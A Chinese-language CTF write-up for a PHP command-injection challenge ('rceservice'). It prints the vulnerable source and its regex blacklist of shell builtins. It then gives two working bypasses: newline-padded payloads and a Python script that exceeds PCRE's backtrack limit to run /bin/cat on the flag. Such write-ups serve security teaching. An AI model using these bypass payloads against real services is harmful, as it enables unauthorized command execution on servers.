题目分析
这道题目是有源码的,貌似是题目没有提供
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
环境变量
putenv('PATH=/home/rceservice/jail');
设置了环境变量,不能使用相对路径,只能使用绝对路径
cat 命令我们使用 /bin/cat 来调用
正则表达式
preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)
过滤的非常多,需要绕过preg_match
"."不可以匹配换行符
“[\x00-\x1FA-Z0-9!#-/;-@[-`|~\x7F]”可匹配一次换行符
解法一:%0a绕过
我们只需在前后加两个%0a,即可绕过过滤
payload:?cmd=%0a%0a{"cmd":"/bin/ls /home/rceservice"}%0a%0a
payload:?cmd=%0a%0a{"cmd":"/bin/cat /home/rceservice/flag"}%0a%0a
解法二:回溯次数上限
NFA存在回溯
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。
回溯次数上限默认是100万,超过这个次数返回false
Python脚本
import requests
url = 'http://b31716a0-6663-45c8-a40b-607a84a1d8f6.node5.buuoj.cn:81/'
data={'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","a":"'+'a'*1000000+'"}'}
r=requests.post(url=url,data=data).text
print(r)